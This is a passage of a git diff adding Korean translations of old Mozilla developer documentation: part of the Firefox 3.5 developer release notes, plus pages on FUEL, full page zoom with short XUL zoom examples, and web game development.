+  이제 <a class="internal" href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String" title="en/Core JavaScript 1.5 Reference/Global Objects/String"><code>String</code></a> 객체에는 <a class="internal" href="../../../../En/Core_JavaScript_1.5_Reference/Global_Objects/String/Trim" rel="internal"><code>trim()</code></a>, <a class="internal" href="../../../../En/Core_JavaScript_1.5_Reference/Global_Objects/String/TrimLeft" rel="internal"><code>trimLeft()</code></a>, <a class="internal" href="../../../../En/Core_JavaScript_1.5_Reference/Global_Objects/String/TrimRight" rel="internal"><code>trimRight()</code></a> 메소드가 있습니다.</dd>
+</dl>
+<h4 id="Networking">Networking</h4>
+<dl>
+ <dt>
+  <a class="internal" href="/En/HTTP_access_control" title="En/HTTP access control">Cross-site access controls for HTTP</a></dt>
+ <dd>
+  서버에서 지원한다면 Firefox 3.5에서는 <a class="internal" href="/en/XMLHttpRequest" title="En/XMLHttpRequest"><code>XMLHttpRequest</code></a>를 이용해 만들어진 것을 포함한 HTTP 요청을 다른 도메인에 하는 것이 가능해졌습니다.</dd>
+ <dt>
+  <a class="internal" href="/En/Using_XMLHttpRequest#Monitoring_progress" title="En/Using XMLHttpRequest#Monitoring progress">Progress events for </a><code><a class="internal" href="/En/Using_XMLHttpRequest#Monitoring_progress" title="En/Using XMLHttpRequest#Monitoring progress">XMLHttpRequest</a></code></dt>
+ <dd>
+  요청에 대한 진행상황을 살펴볼 수 있는 확장을 동작시키면 진행상황 이벤트를 이용할 수 있습니다.</dd>
+ <dt>
+  향상된 동기화(Synchronous) <code>XMLHttpRequest</code> 지원</dt>
+ <dd>
+  <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=340345" title="https://bugzilla.mozilla.org/show_bug.cgi?id=340345">DOM Timeout</a> 과 <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=333198" title="https://bugzilla.mozilla.org/show_bug.cgi?id=333198">Input Events</a> 는 동기화 <code>XMLHttpRequest</code>로 인해 사용하지 않게 되었습니다.</dd>
+ <dt>
+  <a class="internal" href="/En/Controlling_DNS_prefetching" title="en/Controlling DNS prefetching">Controlling DNS prefetching</a></dt>
+ <dd>
+  Firefox 3.5 provides DNS prefetching, whereby it performs domain name resolution ahead of time for links included in the current page, in order to save time when links are actually clicked.  This article describes how you can tune your web site to disable prefetching, or to adjust how prefetching operates.</dd>
+</dl>
+<h4 id="Canvas_변경점">Canvas 변경점</h4>
+<dl>
+ <dt>
+  <a class="internal" href="/en/Drawing_text_using_a_canvas" title="en/Drawing text using a canvas"><code>canvas</code> 요소에서의 </a><a class="internal" href="/en/Drawing_text_using_a_canvas" title="en/Drawing text using a canvas">HTML 5 텍스트 API</a></dt>
+ <dd>
+  Canvas 요소가 HTML 5 텍스트 API를 지원합니다.</dd>
+ <dt>
+  <a class="internal" href="/en/Canvas_tutorial/Applying_styles_and_colors#Shadows" title="en/Canvas tutorial/Applying styles and colors#Shadows"><code>canvas에서</code></a><a class="internal" href="/en/Canvas_tutorial/Applying_styles_and_colors#Shadows" title="en/Canvas tutorial/Applying styles and colors#Shadows"> 그림자 효과</a></dt>
+ <dd>
+  Canvas 그림자 효과가 지원됩니다.</dd>
+ <dt>
+  <a class="internal" href="/En/HTML/Canvas/Pixel_manipulation_with_canvas#Creating_an_ImageData_object" title="En/HTML/Canvas/Pixel manipulation with canvas#Creating an ImageData object"><code>createImageData()</code></a></dt>
+ <dd>
+  canvas 메소드 <code>createImageData()</code> 가 지원됩니다. 이 메소드는 <code>ImageData 객체를 코드로 지정해 생성할 수 있게 해줍니다. 이렇게 해서 ImageData 객체가 생성되는 것을 막아 다른 ImageData 메소드의 작동 속도를 향상시길 수 있습니다.</code></dd>
+ <dt>
+  <code>moz-opaque</code> attribute</dt>
+ <dd>
+  Added the <code>moz-opaque</code> DOM attribute, which lets the canvas know whether or not translucency will be a factor.  If the canvas knows there's no translucency, painting performance can be optimized.</dd>
+</dl>
+<h4 id="New_SVG_features">New SVG features</h4>
+<dl>
+ <dt>
+  <a class="internal" href="/En/Applying_SVG_effects_to_HTML_content" title="en/Applying SVG effects to HTML content">Applying SVG effects to HTML content</a></dt>
+ <dd>
+  You can now apply SVG effects to HTML and XHTML content; this article describes how.</dd>
+</dl>
+<h4 id="Miscellaneous_new_features">Miscellaneous new features</h4>
+<dl>
+ <dt>
+  <a class="internal" href="/En/ICC_color_correction_in_Firefox" title="en/ICC color correction in Firefox">ICC color correction in Firefox</a></dt>
+ <dd>
+  Firefox 3.5 now supports ICC color correction for tagged images.</dd>
+ <dt>
+  The <code>defer</code> attribute is now supported on <a class="internal" href="/En/HTML/Element/Script" title="En/HTML/Element/script"><code>script</code></a> elements</dt>
+ <dd>
+  This attribute indicates to the browser that it <em>may</em> choose to continue to parse and render the page without waiting for the script to finish executing.</dd>
+</dl>
+<h3 id="그_외_향상된_점들">그 외 향상된 점들</h3>
+<ul>
+ <li>The<code> ch </code>unit can now be used anywhere that accepts a <a class="internal" href="/en/CSS/length" title="en/CSS/length">unit of length</a>; "<code>1ch</code>" is the width of the "0" (zero) character.</li>
+ <li><a class="internal" href="/en/CSS/white-space" title="en/CSS/white-space"><code>white-space</code></a> 속성에 <code>pre-line </code>값을 넣을 수 있습니다.</li>
+ <li>The Text node's <code><a class="internal" href="../../../../En/DOM/Text.wholeText" rel="internal">wholeText</a></code> property and <code><a class="internal" href="../../../../En/DOM/Text.replaceWholeText" rel="internal">replaceWholeText()</a></code> method have been implemented.</li>
+ <li><code><a class="internal" href="../../../../En/DOM/Element.children" rel="internal">element.children</a></code> 속성이 추가되었습니다. 이 속성은 주어진 엘리먼트의 자식 엘리먼트 컬렉션(<em>collection</em>)을 반환합니다.</li>
+ <li>The Element Traversal API is now supported by the DOM <a class="internal" href="../../../../en/DOM/element" rel="internal">Element</a> object.</li>
+ <li><a class="internal" href="/En/DOM/Node/CloneNode" title="En/DOM/Node/CloneNode"><code>cloneNode()</code></a> 를 이용해 HTML 노드를 복제할 수 있습니다.</li>
+ <li>비표준 DOM 메소드 <code>getBoxObjectFor()</code> 가 삭제되었습니다. 대신에 <a class="internal" href="/en/DOM/element.getBoundingClientRect" title="En/DOM/Element.getBoundingClientRect"><code>getBoundingClientRect()</code></a> 를 사용하면 됩니다.</li>
+ <li>Dispatched DOM events can now be re-dispatched.  This makes Firefox 3.5 pass Acid 3 test 30.</li>
+ <li>Improvements have been made to DOM 2 Range handling.</li>
+ <li>In non-chrome scope, caught objects in exceptions are now the actual thrown object instead of an <a class="internal" href="/en/XPConnect" title="En/XPConnect">XPConnect</a> wrapper containing the thrown object.</li>
+ <li>SVG ID references are now live.</li>
+ <li>SVG filters now work for <code>foreignObject</code>.</li>
+ <li>The <code>GetSVGDocument()</code> method has been added to <a class="internal" href="/en/HTML/Element/object" title="En/HTML/Element/Object"><code>object</code></a> and <a class="internal" href="/en/HTML/Element/Iframe" title="en/HTML/Element/Iframe"><code>iframe</code></a> elements for compatibility.</li>
+ <li>Implicit setting of properties in object and array initializers no longer execute setters in JavaScript. See the blog post <a class="external" href="/web-tech/2009/04/29/object-and-array-initializers-should-not-invoke-setters-when-evaluated" title="https://developer.mozilla.org/editor/fckeditor/core/editor/web-tech/2009/04/29/object-and-array-initializers-should-not-invoke-setters-when-evaluated/">Object and array initializers should not invoke setters when evaluated</a> for details.</li>
+ <li>The <code>gDownloadLastDir.path</code> variable has been renamed to <code>gDownloadLastDir.file</code> since it refers to an {{ interface("nsIFile") }}, not a path.</li>
+ <li>The <code>gDownloadLastDirPath</code> variable has been renamed to <code>gDownloadLastDirFile</code> since it refers to an {{ interface("nsIFile") }}, not a path.</li>
+ <li>Starting in Firefox 3.5, you can no longer use <code>data:</code> bindings in chrome packages that get <code>XPCNativeWrapper</code> automation.</li>
+</ul>
+<h3 id="XUL과_애드온_개발자를_위한_부분">XUL과 애드온 개발자를 위한 부분</h3>
+<p>If you're an extension developer, you should start by reading <a class="internal" href="/En/Updating_extensions_for_Firefox_3.5" title="En/Updating extensions for Firefox 3.5">Updating extensions for Firefox 3.5</a>, which offers a helpful overview of what changes may affect your extension.</p>
+<h4 id="New_components_and_functionality">New components and functionality</h4>
+<dl>
+ <dt>
+  <a class="internal" href="/En/Supporting_private_browsing_mode" title="En/Supporting private browsing mode">Supporting private browsing mode</a></dt>
+ <dd>
+  Firefox 3.5 offers Private Browsing mode, which doesn't record the user's activities.  Extensions may support private browsing following the guidelines offered by this article.</dd>
+ <dt>
+  <a class="internal" href="/En/Security_changes_in_Firefox_3.5" title="En/Security changes in Firefox 3.5">Security changes in Firefox 3.5</a></dt>
+ <dd>
+  This article covers security-related changes in Firefox 3.5.</dd>
+ <dt>
+  <a class="internal" href="/En/Theme_changes_in_Firefox_3.5" title="En/Theme changes in Firefox 3.5">Theme changes in Firefox 3.5</a></dt>
+ <dd>
+  This article covers theme-related changes in Firefox 3.5.</dd>
+ <dt>
+  <a class="internal" href="/En/Monitoring_WiFi_access_points" title="En/Monitoring WiFi access points">Monitoring WiFi access points</a></dt>
+ <dd>
+  Code with UniversalXPConnect privileges can now monitor the list of available access points, getting information on their SSIDs, MAC addresses, and signal strength.  This can be used in tandem with Geolocation to offer WiFi-based location service.</dd>
+</dl>
+<h4 id="Notable_changes_and_improvements">Notable changes and improvements</h4>
+<ul>
+ <li>The XUL <code><a class="internal" href="../../../../en/XUL/textbox" rel="internal">textbox</a></code> widget now offers a <code><a class="internal" href="../../../../en/XUL/Attribute/textbox.type" rel="internal">search</a></code> type, for use as search fields.</li>
+ <li>In order to support dragging and dropping tabs between windows, the <a class="internal" href="/en/XUL/browser" title="En/XUL/Browser"><code>browser</code></a> widget now has a <a class="internal" href="/En/XUL/Method/SwapDocShells" title="En/XUL/Method/SwapDocShells"><code>swapDocShells()</code></a> method.</li>
+ <li>Added the <a class="internal" href="/En/XUL/Attribute/Panel.level" title="en/XUL/Attribute/panel.level"><code>level</code></a> attribute to the <a class="internal" href="/en/XUL/panel" title="En/XUL/Panel"><code>panel</code></a> element; this specifies whether panels appear on top of other applications, or just on top of the window the panel is contained within.</li>
+ <li>XUL elements now support the <code>clientXXX</code> and <code>scrollXXX</code> properties.</li>
+ <li><a class="internal" href="/en/XUL/keyset" title="En/XUL/Keyset"><code>keyset</code></a>s now include a <code>disabled</code> attribute.</li>
+ <li>In addition, <code>keyset</code>s can now be removed using the node's <a class="internal" href="/En/DOM/Node.removeChild" title="En/DOM/Node.removeChild"><code>removeChild()</code></a> method.</li>
+ <li><span class="lang lang-en"><code><a href="../../../../en/mozIStorageStatement" rel="internal">mozIStorageStatement</a></code> </span> had the <code>initialize()</code> method removed; consumers should use the <span class="lang lang-en"><code><a href="../../../../en/mozIStorageConnection#createStatement%28%29" rel="internal">createStatement()</a></code> </span> method instead to get a new statement object.</li>
+ <li>The <a class="internal" href="/en/Storage" title="En/Storage">Storage</a> API now offers support for asynchronous requests.</li>
+ <li>The <a class="internal" href="/en/nsICookie2" title="En/NsICookie2"><code>nsICookie2</code></a> interface now exposes the time at which cookies were created in its new <code>creationTime</code> attribute.</li>
+ <li>Added a flag to <code><a class="internal" href="../../../../en/nsIProtocolHandler" rel="internal">nsIProtocolHandler</a></code> (<code>URI_IS_LOCAL_RESOURCE</code>) that is checked during chrome registration to make sure a protocol is allowed to be registered.</li>
+ <li>Firefox now looks for plugins in <code>/usr/lib/mozilla/plugins</code> on Linux, as well as the previously supported locations.</li>
+ <li>The plugin API has been updated to include support for private browsing mode; you may now use <a class="internal" href="/en/NPN_GetValue" title="En/NPN GetValue"><code>NPN_GetValue()</code></a> to query the state of private browsing mode using the variable <code>NPNVprivateModeBool</code>.</li>
+</ul>
+<h2 id="사용자들을_위한_변경점">사용자들을 위한 변경점</h2>
+<h3 id="User_experience">User experience</h3>
+<dl>
+ <dt>
+  Location aware browsing</dt>
+ <dd>
+  If you choose, you may allow Firefox 3.5 to share information about your current location with web sites.  Firefox 3.5 can use information about the network you're connected to to share your location. Of course, it asks for your permission before doing so, to ensure your privacy.</dd>
+ <dt>
+  Open audio and video support</dt>
+ <dd>
+  Firefox 3.5 supports embedded video and audio using the open Ogg format, as well as WAV for audio. No plugins, no confusing error messages about needing to install something or other that turns out not to be available on your platform anyway.</dd>
+ <dt>
+  Local data storage</dt>
+ <dd>
+  Web applications can now use Web Storage's local storage capabilities to store data on your computer.  This is great for anything from site preferences to more complex data.</dd>
+</dl>
+<h3 id="Security_and_privacy">Security and privacy</h3>
+<dl>
+ <dt>
+  Private Browsing</dt>
+ <dd>
+  Need to use someone else's computer? Switch on Private Browsing mode and nothing will be recorded about your session, including cookies, history, and any other potentially private information.</dd>
+ <dt>
+  Better privacy controls</dt>
+ <dd>
+  The Privacy preference pane has been completely redesigned to offer users more control over their private information. Users can choose to retain or discard anything including history information, cookies, downloads, and form field information.  In addition, users can specify whether or not to include history and/or bookmarks in the location bar's automated suggestions, so you can keep private web addresses from popping up unexpectedly while typing in the location bar.</dd>
+</dl>
+<h3 id="동작_속도">동작 속도</h3>
+<dl>
+ <dt>
+  더  빠른 JavaScript 동작속도</dt>
+ <dd>
+  "AJAX"에서 "J"를 뜻하는 JavaScript가 Firefox 3.5에서 새로운 TraceMonkey JavaScript 엔진을 이용해 더욱 빨라졌습니다. 웹 애플리케이션은 Firefox 3 보다 더욱 빨라졌습니다.</dd>
+ <dt>
+  더  빠른 페이지 표시속도</dt>
+ <dd>
+  "speculative parsing" 기술로 Firefox 3.5에서 웹 콘텐츠를 더 빨리 표시하게 되었습니다. 사용자들이 기술의 의미하는 바를 알 필요는 없습니다. 단지 "더 빨리 보여준다."고 알면 됩니다.</dd>
+</dl>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li><a class="internal" href="/en/Firefox_3_for_developers" title="En/Firefox 3 for developers">Firefox 3 for developers</a></li>
+ <li><a class="internal" href="/en/Firefox_2_for_developers" title="En/Firefox 2 for developers">Firefox 2 for developers</a></li>
+ <li><a class="internal" href="/en/Firefox_1.5_for_developers" title="En/Firefox 1.5 for developers">Firefox 1.5 for developers</a></li>
+</ul>
diff --git a/files/ko/fuel/index.html b/files/ko/fuel/index.html
new file mode 100644
index 0000000000..ec740db603
--- /dev/null
+++ b/files/ko/fuel/index.html
@@ -0,0 +1,31 @@
+---
+title: FUEL
+slug: FUEL
+tags:
+  - FUEL
+  - Interfaces
+translation_of: Mozilla/Tech/Toolkit_API/FUEL
+---
+<p>FUEL은 개발자들에게 친숙한 용어와 인터페이스를 사용하여 확장 기능을 개발할 수 있도록 디자인된 JavaScript 라이브러리 입니다. FUEL은 Firefox 3에서 처음으로 제공되는 것으로 Firefox 2 용으로도 포팅될 것입니다.</p>
+<p>FUEL은 일부 XPCOM 형식에 얽매이는 면을 최소화하고 몇 가지 "최신" JavaScript 개념들을 추가하여, 확장 기능의 개발이 쉬워져 개발 생산성이 높아질 수 있게 해줄 것입니다. 우리는 가장 유용한 것들을 제공할 수 있는 공간이 되게 시작하길 원합니다.</p>
+<h3 id=".EA.B0.9D.EC.B2.B4" name=".EA.B0.9D.EC.B2.B4">객체</h3>
+<ul>
+ <li><a href="ko/FUEL/Annotations">Annotations</a></li>
+ <li><a href="ko/FUEL/Application">Application</a></li>
+ <li><a href="ko/FUEL/Bookmark">Bookmark</a></li>
+ <li><a href="ko/FUEL/BookmarkFolder">BookmarkFolder</a></li>
+ <li><a href="ko/FUEL/BrowserTab">BrowserTab</a></li>
+ <li><a href="ko/FUEL/Console">Console</a></li>
+ <li><a href="ko/FUEL/EventItem">EventItem</a></li>
+ <li><a href="ko/FUEL/EventListener">EventListener</a></li>
+ <li><a href="ko/FUEL/Events">Events</a></li>
+ <li><a href="ko/FUEL/Extension">Extension</a></li>
+ <li><a href="ko/FUEL/Extensions">Extensions</a></li>
+ <li><a href="ko/FUEL/Preference">Preference</a></li>
+ <li><a href="ko/FUEL/PreferenceBranch">PreferenceBranch</a></li>
+ <li><a href="ko/FUEL/SessionStorage">SessionStorage</a></li>
+ <li><a href="ko/FUEL/Window">Window</a></li>
+</ul>
+<div class="noinclude">
+  </div>
+<p></p>
diff --git a/files/ko/full_page_zoom/index.html b/files/ko/full_page_zoom/index.html
new file mode 100644
index 0000000000..3051b40775
--- /dev/null
+++ b/files/ko/full_page_zoom/index.html
@@ -0,0 +1,32 @@
+---
+title: Full page zoom
+slug: Full_page_zoom
+translation_of: Mozilla/Firefox/Releases/3/Full_page_zoom
+---
+<p>{{ Gecko_minversion_header("1.9") }}</p>
+<p>전체 페이지 확대(또는 그냥 전체 확대)는 <a href="ko/Firefox_3_for_developers">Firefox 3</a>에서 지원하게 될 새로운 기능입니다. Gecko 1.9a7 버전부터 트렁크 빌드에서 사용이 가능합니다. 지금은 사용자 인터페이스가 없지만 자바스크립트와 <a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIMarkupDocumentViewer.html">nsIMarkupDocumentViewer</a> <a href="ko/XPCOM">XPCOM</a> 인터페이스를 사용할 수 있습니다.</p>
+<h3 id=".EC.98.88.EC.A0.9C_.28xul:browser.29" name=".EC.98.88.EC.A0.9C_.28xul:browser.29">예제 (xul:browser)</h3>
+<p>다음 예제는 현재의 포커스 있는 브라우저 윈도우의 사용을 보여줍니다. 이는 Firefox 확장을 위한 전형적인 사용법입니다.</p>
+<pre>var zoom = 1.5;
+var docViewer = getBrowser().mCurrentBrowser.markupDocumentViewer;
+docViewer.fullZoom = zoom;
+</pre>
+<h3 id=".EC.98.88.EC.A0.9C_.28xul:iframe.29" name=".EC.98.88.EC.A0.9C_.28xul:iframe.29">예제 (xul:iframe)</h3>
+<p>xul:iframe에 대해서도 전체 확대 기능을 사용할 수 있습니다. 그러나, iframe이 markupDocumentViewer를 가지고 있지 않기 때문에 그것을 먼저 얻어야 합니다.</p>
+<pre>var zoom = 1.5;
+var iframe = document.getElementById("authorFrame");
+var contViewer = iframe.docShell.contentViewer;
+var docViewer = contViewer.QueryInterface(Components.interfaces.nsIMarkupDocumentViewer);
+docViewer.fullZoom = zoom;
+</pre>
+<h3 id=".EB.A0.88.ED.8D.BC.EB.9F.B0.EC.8A.A4" name=".EB.A0.88.ED.8D.BC.EB.9F.B0.EC.8A.A4">레퍼런스</h3>
+<ul>
+ <li>Firefox 3.0 최신 개발 버전을 위한 Ted Mielczarek의 페이지 확대 확장 <a class="external" href="http://ted.mielczarek.org/code/mozilla/fullpagezoom.xpi">fullpagezoom.xpi</a></li>
+ <li>전체 확대에 대한 <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=4821">버그질라 버그</a>.</li>
+ <li>(현재 fullZoom에 대한 언급이 없는) <a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIMarkupDocumentViewer.html">nsIMarkupDocumentViewer</a> 인터페이스 문서.</li>
+</ul>
+<p> </p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/Full_page_zoom", "es": "es/Zoom_a_p\u00e1gina_completa", "fr": "fr/Zoom_pleine_page", "ja": "ja/Full_page_zoom" } ) }}</p>
diff --git a/files/ko/games/index.html b/files/ko/games/index.html
new file mode 100644
index 0000000000..47f0006e0b
--- /dev/null
+++ b/files/ko/games/index.html
@@ -0,0 +1,95 @@
+---
+title: 게임 개발
+slug: Games
+tags:
+  - HTML5
+  - HTML5 게임
+  - 게임
+  - 게임 개발
+  - 앱
+  - 웹
+  - 자바스크립트 게임
+translation_of: Games
+---
+<div>{{GamesSidebar}}</div>
+
+<div class="summary">
+<p>게임은 가장 인기있는 컴퓨터 활동 중 하나입니다.<span class="seoSummary"> 어떠한 표준 웹 브라우저에서도  작동하는 더욱 좋고 강력한 게임을 개발할 수 있는 새로운 기술들이 끊임없이 나타나고 있습니다.</span></p>
+</div>
+
+<div>{{EmbedGHLiveSample("web-tech-games/index.html", '100%', 820)}}</div>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="웹_게임_개발하기">웹 게임 개발하기</h2>
+
+<p>웹 게임 개발 센터에 온 것을 환영합니다! 이 사이트에서는 게임 개발을 원하는 웹 개발자들에게 리소스를 제공합니다. 왼쪽의 기본 메뉴에서 유용한 자습서 및 기술 관련 기사를 찾을 수 있습니다. 자유롭게 탐색하시기 바랍니다.</p>
+
+<p>우리는 또한 유용한 <a href="https://developer.mozilla.org/docs/Games/Tools/Engines_and_tools">엔진과 툴</a>의 목록과 <a href="https://developer.mozilla.org/docs/Games/Examples">게임 예제</a> 뿐만 아니라 당신이 게임 개발에서 사용되는 가장 대중적인 API의 모든 것들에 대한 정보를 쉽게 발견하기 위해서 참고 자료를 포함하고 있습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 웹 게임을 개발하기 전에 적어도 HTML과 CSS, JavaScript같은 핵심 웹 기술에 익숙해져야 합니다. 기초부터 배워보고 싶으시다면 <a href="https://developer.mozilla.org/docs/Learn">Learning Area</a>를 둘러보세요.</p>
+</div>
+
+<dl>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 id="네이티브_언어로_개발된_게임을_웹으로_포팅하기">네이티브 언어로 개발된 게임을 웹으로 포팅하기</h2>
+
+<p>만약 네이티브 개발자이고(예를 들어 C++로 게임을 만들 수 있는 경우) 게임을 웹에 복사하는 것에 흥미가 있다면 LLVM 바이트코드(예를 들어, Clang을 사용하는 C/C++ 혹은 다른 언어에서 생성된 코드)를 받아 웹에서 실행 가능한 asm.js로 컴파일하는 <a href="http://kripken.github.io/emscripten-site/index.html">Emscripten</a> 툴을 배워보는 것이 좋습니다.</p>
+
+<p>시작하고 싶다면, 아래 링크를 참조해보세요.</p>
+
+<ul>
+ <li><a href="http://kripken.github.io/emscripten-site/docs/introducing_emscripten/about_emscripten.html">Emscripten에 대하여</a>: Emscripten의 고급 세부사항들을 포함한 소개</li>
+ <li><a href="http://kripken.github.io/emscripten-site/docs/getting_started/downloads.html">다운로드 및 설치</a>: 툴체인 설치하기</li>
+ <li><a href="http://kripken.github.io/emscripten-site/docs/getting_started/Tutorial.html">Emscripten 튜토리얼</a>: 어디서부터 시작해야 하는지 알려주는 튜토리얼</li>
+</ul>
+</div>
+</div>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="예제">예제</h2>
+
+<p> 웹 게임들의 예시 목록을 보고싶으면 <a href="https://developer.mozilla.org/en-US/docs/Games/Examples">examples page</a>에서 확인해보세요. 또 더욱 쓸만한 리소스를 보고싶다면 <a href="https://games.mozilla.org/">games.mozilla.org</a>를 확인해보세요!</p>
+</div>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="http://buildnewgames.com/">Build New Games</a></dt>
+ <dd>수많은 오픈 웹 게임 개발 튜토리얼을 가지고 있는 협업 사이트입니다. 최근에는 활동이 많지 않지만 여전히 좋은 자료들을 가지고 있습니다.</dd>
+ <dt><a href="http://creativejs.com/">Creative JS</a></dt>
+ <dd>게임만 있는 것은 아니지만 꽤 인상적인 JavaScript 기술과 실험들의 모음집입니다. 최근에는 활동이 많지 않지만 여전히 좋은 자료들을 가지고 있습니다.</dd>
+ <dt><a href="http://gameprogrammingpatterns.com/">Game programming patterns</a></dt>
+ <dd>Bob Nystrom이 작성한 책으로, 더욱 효과적이고 효율적인 코드를 개발하는 게임 개발자들에게 도움이 되도록 게임 개발에서의 프로그래밍 패턴에 대해 논하는 이북입니다.</dd>
+ <dt><a href="http://gamedevjsweekly.com/">Gamedev.js Weekly</a></dt>
+ <dd>HTML5 게임 개발을 주제로 하는 뉴스레터로, 매 주 금요일에 보내줍니다. 최신 기사들과 튜토리얼, 툴 및 자료들을 담고 있습니다.</dd>
+ <dt><a href="http://www.html5gamedevs.com/">HTML5 Game Devs Forum</a></dt>
+ <dd>게임 개발자, 프레임 워크 개발자, 출판사들을 위한 포럼입니다. 질문하고, 답변을 받고, 남들을 도와주세요.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="http://html5gameengine.com/">HTML5 Game Engine</a></dt>
+ <dd>평가, 기능 및 샘플을 기준으로 인기있는 HTML5 게임 프레임워크들의 목록입니다.</dd>
+ <dt><a href="http://www.jsbreakouts.org/">JSBreakouts</a></dt>
+ <dd>여러 프레임워크에서의 JavaScript Breakout 클론들을 비교하여 본인에게 맞는 프레임워크를 골라보세요.</dd>
+ <dt><a href="http://gamedevelopment.tutsplus.com/">Tuts+ Game Development</a></dt>
+ <dd>일반적인 게임 개발에 대한 튜토리얼과 글이 올라옵니다.</dd>
+ <dt><a href="http://html5devstarter.enclavegames.com/">HTML5 Gamedev Starter</a></dt>
+ <dd>새로운 게임 개발자들을 위한 웹 주변의 다양하고 유용한 자료들에 대한 링크의 큐레이터 목록인 스타터이다.</dd>
+ <dt><a href="http://js13kgames.com/">js13kGames</a></dt>
+ <dd>개발자들의 13 킬로바이트짜리 자바스크립트 코딩 공모전입니다. 제출된 게임들은 GitHub에 읽을 수 있는 형태로 올라옵니다.</dd>
+ <dt><a href="https://hacks.mozilla.org/category/games/">Mozilla Hacks blog</a></dt>
+ <dd>Mozilla Hack 블로그의 게임 카테고리는 게임 개발과 관련된 흥미로운 기사들이 올라와 있습니다.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/ko/games/index/index.html b/files/ko/games/index/index.html
new file mode 100644
index 0000000000..5d36376f6e
--- /dev/null
+++ b/files/ko/games/index/index.html
@@ -0,0 +1,10 @@
+---
+title: Index
+slug: Games/Index
+tags:
+  - Meta
+translation_of: Games/Index
+---
+<div>{{GamesSidebar}}</div>
+
+<p>{{Index("/en-US/docs/Games")}}</p>
diff --git a/files/ko/games/introduction/index.html b/files/ko/games/introduction/index.html
new file mode 100644
index 0000000000..44d4af9564
--- /dev/null
+++ b/files/ko/games/introduction/index.html
@@ -0,0 +1,118 @@
+---
+title: 웹 게임 개발에 대해
+slug: Games/Introduction
+tags:
+  - 가이드
+  - 게임
+  - 모바일
+  - 모바일 게임
+  - 파이어폭스OS
+translation_of: Games/Introduction
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>현대의 웹은 뛰어나고 고품질의 게임을 만들 뿐 만 아니라 이 게임들을 배급 하는 플랫폼으로 성장하였습니다.</p>
+
+<p>제작되는 게임의 범위는 데스크탑이나 기본OS용 게임들에도 필적합니다다. 현대의 웹 기술과 최신 브라우저로 최고 사양의 웹 게임을 만드는게 가능해졌습니다. 우리는 예전에  Flash® 가지고 하던 가벼운 카드 게임이나 멀티플레이 소셜 게임을 말하는 게 아닙니다. 끝내주는 고사양의 3D 액션 슈팅 게임, RPG 게임, 그 이상을 말하는 것이죠. 자바 스크립트의 실시간 컴파일러 기술과 새로운 API의 대대적인 퍼포먼스 개선으로 이런게 가능해졌습니다. 브라우저로 (또는 HTML5를 사용하는 장비에서, 예시로 파이어폭스 OS로 운영되는 장치에서 ) 운영되는 게임을 제작할 수 있게 되었습니다.</p>
+
+<h2 id="HTML5_게임_플랫폼">HTML5 게임 플랫폼</h2>
+
+<p>우리는 웹을 우리의 게임에 더 좋은 타깃 플레폼이라고 생각합니다. 우리가 앞서 얘기했듯이 "웹이 곧 플랫폼이다." 라고 할 수 있죠. 아래의 웹 플랫폼의 핵심을 살펴보도록 합시다:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">기능</th>
+   <th scope="col">기술</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><strong>Audio (오디오)</strong></td>
+   <td><a href="/en-US/docs/Web_Audio_API" title="/en-US/docs/Web_Audio_API">Web Audio API</a></td>
+  </tr>
+  <tr>
+   <td><strong>Graphics (그래픽)</strong></td>
+   <td><a href="/en-US/docs/WebGL" title="/en-US/docs/WebGL">WebGL</a> (<a href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0)</td>
+  </tr>
+  <tr>
+   <td><strong>Input (입력)</strong></td>
+   <td><a href="/en-US/docs/DOM/Touch_events" title="/en-US/docs/DOM/Touch_events">Touch events</a>, <a href="/en-US/docs/API/Gamepad/Using_Gamepad_API" title="/en-US/docs/API/Gamepad/Using_Gamepad_API">Gamepad API</a>, device sensors, <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a>, <a href="/en-US/docs/DOM/Using_fullscreen_mode" title="/en-US/docs/DOM/Using_fullscreen_mode">Full Screen API</a>, <a href="/en-US/docs/WebAPI/Pointer_Lock" title="/en-US/docs/WebAPI/Pointer_Lock">Pointer Lock API</a></td>
+  </tr>
+  <tr>
+   <td><strong>Language (언어)</strong></td>
+   <td><a href="/en-US/docs/JavaScript" title="/en-US/docs/JavaScript">JavaScript</a> (or C/C++ using <a href="https://github.com/kripken/emscripten/wiki" title="https://github.com/kripken/emscripten/wiki">Emscripten</a> to compile to JavaScript)</td>
+  </tr>
+  <tr>
+   <td><strong>Networking (네트워킹)</strong></td>
+   <td><a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> and/or <a href="/en-US/docs/WebSockets" title="/en-US/docs/WebSockets">WebSockets</a></td>
+  </tr>
+  <tr>
+   <td><strong>Storage (저장공간)</strong></td>
+   <td><a href="/en-US/docs/IndexedDB" title="/en-US/docs/IndexedDB">IndexedDB</a> or the "cloud"</td>
+  </tr>
+  <tr>
+   <td><strong>Web (웹)</strong></td>
+   <td><a href="/en-US/docs/HTML" title="/en-US/docs/HTML">HTML</a>, <a href="/en-US/docs/CSS" title="/en-US/docs/CSS">CSS</a>, <a href="/en-US/docs/SVG" title="/en-US/docs/SVG">SVG</a>, <a href="/en-US/docs/Social_API" title="/en-US/docs/Social_API">Social API</a> (and much more!)</td>
+  </tr>
+ </tbody>
+</table>
+
